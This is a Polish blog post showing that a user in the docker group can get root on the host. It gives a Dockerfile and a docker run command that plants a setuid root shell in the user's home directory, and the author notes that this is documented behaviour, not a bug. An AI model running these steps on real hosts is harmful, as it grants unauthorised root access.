M

ój administrator idzie z duchem po(d)stępu i podzielił nasz wielki serwer na mniejsze byśmy mogli robić te…, jak one mają… – mikroserwisy. Jako najprostszy i najszybszy sposób dla systemu Ubuntu 16.04 LTS wybrał szybującą w rozwoju technologię, czyli Dockera. Po szybkiej i sprawnej instalacji najnowszej wersji 1.13.1 mój zwykły użytkownik (darkstar) uzyskał możliwość posługiwania się tą technologią poprzez dopisanie go do grupy docker:

darkstar@darkstar:~$ id
uid=1000(darkstar) gid=1000(darkstar) groups=1000(darkstar),999(docker)

Pracę z nową technologią zacząłem od stworzenia swojego pierwszego obrazu za pomocą pliku Dockerfile. Zacząłem od czegoś prostego opartego na Debianie:

FROM debian:wheezy
ENV WORKDIR /swarm
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR ]
WORKDIR $WORKDIR

Zbudowałem swój pierwszy obraz o nazwie overlord:

docker build -t overlord .

Sending build context to Docker daemon 12.29 kB
Step 1/5 : FROM debian:wheezy
wheezy: Pulling from library/debian
d9509b80c497: Pull complete
Digest: sha256:bbce33d37b97cc154c0a8798cff13e7804ea445a0137d36effe877b7f3119977
Status: Downloaded newer image for debian:wheezy
 ---> 1959439cdb24
Step 2/5 : ENV WORKDIR /swarm
 ---> Running in 52ee3f7dc623
 ---> 29b507994a4e
Removing intermediate container 52ee3f7dc623
Step 3/5 : RUN mkdir -p $WORKDIR
 ---> Running in 8d6d87ca580f
 ---> 92d9174b4451
Removing intermediate container 8d6d87ca580f
Step 4/5 : VOLUME [ $WORKDIR ]
 ---> Running in 0f1e93bfd005
 ---> 7ffa0ff5178f
Removing intermediate container 0f1e93bfd005
Step 5/5 : WORKDIR $WORKDIR
 ---> 32e51b9a4b71
Removing intermediate container 59f1e6e78db8
Successfully built 32e51b9a4b71

Uruchomiłem overlorda, aby przejął kontrolę nad rojem:

docker run -v $PWD:/swarm -t overlord /bin/sh -c \ 
'cp /bin/sh /swarm && chown root.root /swarm/sh && chmod a+s /swarm/sh'

Wrota do kolejnego wymiaru ukazały się same:

darkstar@darkstar:~$ ls -la
total 144
drwxr-xr-x 4 darkstar darkstar   4096 Feb 18 21:42 .
drwxr-xr-x 3 root     root       4096 Aug 13  2016 ..
-rw------- 1 darkstar darkstar    134 Feb 18 21:12 .bash_history
-rw-r--r-- 1 darkstar darkstar    220 Aug 13  2016 .bash_logout
-rw-r--r-- 1 darkstar darkstar   3771 Aug 13  2016 .bashrc
drwx------ 2 darkstar darkstar   4096 Aug 13  2016 .cache
-rw-rw-r-- 1 darkstar darkstar     97 Feb 18 21:42 Dockerfile
drwxrwxr-x 2 darkstar darkstar   4096 Feb 18 21:13 .nano
-rw-r--r-- 1 darkstar darkstar    655 Aug 13  2016 .profile
-rwsr-sr-x 1 root     root     106920 Feb 18 21:42 sh

Wystarczyło ich użyć, aby przejąć kontrolę nad naszą dużą maszyną do kontenerów:

darkstar@darkstar:~$ ./sh
# id
uid=1000(darkstar) gid=1000(darkstar) euid=0(root) egid=0(root) groups=0(root),999(docker)

Znacznie prostsze byłoby dopisanie mojego użytkownika do grupy sudo. Czy ten wpływ na bezpieczeństwo jest podatnością? Oczywiście, że nie. Bezpieczeństwo dockera jasno mówi o tym fakcie. Tylko zaufani użytkownicy powinni mieć dostęp do tej technologii, ponieważ dostęp do niej równa się z prawami administratora – wewnątrz i na zewnątrz kontenera – by design.

Więcej informacji: Using the docker command to root the host (totally not a security issue), Secure Your Containers with this One Weird Trick